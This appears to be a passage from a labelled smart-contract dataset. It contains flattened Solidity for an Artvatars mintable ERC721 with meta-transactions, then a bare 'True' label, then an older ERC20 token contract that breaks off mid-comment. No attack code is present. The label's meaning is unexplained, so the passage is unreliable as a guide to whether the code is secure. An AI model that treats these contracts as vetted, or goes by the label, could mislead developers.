using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping(address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId,) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mecanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual {}
}
// File: @openzeppelin/contracts/access/AccessControl.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: contracts/common/AccessControlMixin.sol
pragma solidity 0.6.6;
contract AccessControlMixin is AccessControl {
string private _revertMsg;
function _setupContractId(string memory contractId) internal {
_revertMsg = string(abi.encodePacked(contractId, ": INSUFFICIENT_PERMISSIONS"));
}
modifier only(bytes32 role) {
require(
hasRole(role, _msgSender()),
_revertMsg
);
_;
}
}
// File: contracts/common/Initializable.sol
pragma solidity 0.6.6;
contract Initializable {
bool inited = false;
modifier initializer() {
require(!inited, "already inited");
_;
inited = true;
}
}
// File: contracts/common/EIP712Base.sol
pragma solidity 0.6.6;
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string constant public ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
bytes(
"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
)
);
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contractsa that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(
string memory name
)
internal
initializer
{
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())
)
);
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public pure returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/**
* Accept message hash and returns hash message in EIP712 compatible form
* So that it can be used to recover signer from signature signed using EIP712 formatted data
* https://eips.ethereum.org/EIPS/eip-712
* "\\x19" makes the encoding deterministic
* "\\x01" is the version byte to make it compatible to EIP-191
*/
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
// File: contracts/common/NativeMetaTransaction.sol
pragma solidity 0.6.6;
contract NativeMetaTransaction is EIP712Base {
using SafeMath for uint256;
bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256(
bytes(
"MetaTransaction(uint256 nonce,address from,bytes functionSignature)"
)
);
event MetaTransactionExecuted(
address userAddress,
address payable relayerAddress,
bytes functionSignature
);
mapping(address => uint256) nonces;
/*
* Meta transaction structure.
* No point of including value field here as if user is doing value transfer then he has the funds to pay for gas
* He should call the desired function directly in that case.
*/
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce : nonces[userAddress],
from : userAddress,
functionSignature : functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
// increase nonce for user (to avoid re-use)
nonces[userAddress] = nonces[userAddress].add(1);
emit MetaTransactionExecuted(
userAddress,
msg.sender,
functionSignature
);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
META_TRANSACTION_TYPEHASH,
metaTx.nonce,
metaTx.from,
keccak256(metaTx.functionSignature)
)
);
}
function getNonce(address user) public view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(
address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) internal view returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return
signer ==
ecrecover(
toTypedMessageHash(hashMetaTransaction(metaTx)),
sigV,
sigR,
sigS
);
}
}
// File: contracts/root/RootToken/IMintableERC721.sol
pragma solidity 0.6.6;
interface IMintableERC721 is IERC721 {
/**
* @notice called by predicate contract to mint tokens while withdrawing
* @dev Should be callable only by MintableERC721Predicate
* Make sure minting is done only by this function
* @param user user address for whom token is being minted
* @param tokenId tokenId being minted
*/
function mint(address user, uint256 tokenId) external;
/**
* @notice called by predicate contract to mint tokens while withdrawing with metadata from L2
* @dev Should be callable only by MintableERC721Predicate
* Make sure minting is only done either by this function/ 👆
* @param user user address for whom token is being minted
* @param tokenId tokenId being minted
* @param metaData Associated token metadata, to be decoded & set using `setTokenMetadata`
*
* Note : If you're interested in taking token metadata from L2 to L1 during exit, you must
* implement this method
*/
function mint(address user, uint256 tokenId, bytes calldata metaData) external;
/**
* @notice check if token already exists, return true if it does exist
* @dev this check will be used by the predicate to determine if the token needs to be minted or transfered
* @param tokenId tokenId being checked
*/
function exists(uint256 tokenId) external view returns (bool);
}
// File: contracts/common/ContextMixin.sol
pragma solidity 0.6.6;
abstract contract ContextMixin {
function msgSender()
internal
view
returns (address payable sender)
{
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
} else {
sender = msg.sender;
}
return sender;
}
}
// File: contracts/root/RootToken/DummyMintableERC721.sol
pragma experimental ABIEncoderV2;
pragma solidity 0.6.6;
contract ArtvatarsCommunityMintableERC721 is
ERC721,
AccessControlMixin,
NativeMetaTransaction,
IMintableERC721,
ContextMixin
{
bytes32 public constant PREDICATE_ROLE = keccak256("PREDICATE_ROLE");
mapping(uint256 => Artvatar) public tokenToArtvatar;
struct Attribute {
string title;
string name;
}
struct Artvatar {
uint256 id;
string series;
string title;
string description;
string image;
Attribute[] attributes;
bool metadataChanged;
}
constructor(string memory name_, string memory symbol_, address predicateProxy_)
public
ERC721(name_, symbol_)
{
_setupContractId("ArtvatarsCommunityMintableERC721");
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(PREDICATE_ROLE, _msgSender());
_setupRole(PREDICATE_ROLE, predicateProxy_);
_initializeEIP712(name_);
}
function _msgSender()
internal
override
view
returns (address payable sender)
{
return ContextMixin.msgSender();
}
/**
* @dev See {IMintableERC721-mint}.
*/
function mint(address user, uint256 tokenId) external override only(PREDICATE_ROLE) {
_mint(user, tokenId);
}
/**
* If you're attempting to bring metadata associated with token
* from L2 to L1, you must implement this method, to be invoked
* when minting token back on L1, during exit
*/
function setTokenMetadata(uint256 tokenId, bytes memory data) internal virtual {
// This function should decode metadata obtained from L2
// and attempt to set it for this `tokenId`
//
// Following is just a default implementation, feel
// free to define your own encoding/ decoding scheme
// for L2 -> L1 token metadata transfer
(Artvatar memory _artvatar, string memory uri) = abi.decode(data, (Artvatar, string));
Artvatar storage artvatar = tokenToArtvatar[tokenId];
Attribute[] memory _attributes = _artvatar.attributes;
artvatar.id = _artvatar.id;
artvatar.series = _artvatar.series;
artvatar.title = _artvatar.title;
artvatar.description = _artvatar.description;
artvatar.image = _artvatar.image;
for (uint256 i = 0; i < _attributes.length; i++) {
Attribute memory attribute = _attributes[i];
artvatar.attributes.push(attribute);
}
artvatar.metadataChanged = true;
_setTokenURI(tokenId, uri);
}
function getArtvatarByTokenId(uint256 _tokenId) public view returns (Artvatar memory artvatar) {
return tokenToArtvatar[_tokenId];
}
/**
* @dev See {IMintableERC721-mint}.
*
* If you're attempting to bring metadata associated with token
* from L2 to L1, you must implement this method
*/
function mint(address user, uint256 tokenId, bytes calldata metaData) external override only(PREDICATE_ROLE) {
_mint(user, tokenId);
setTokenMetadata(tokenId, metaData);
}
/**
* @dev See {IMintableERC721-exists}.
*/
function exists(uint256 tokenId) external view override returns (bool) {
return _exists(tokenId);
}
}
|
True
|
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pragma solidity ^0.4.18;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
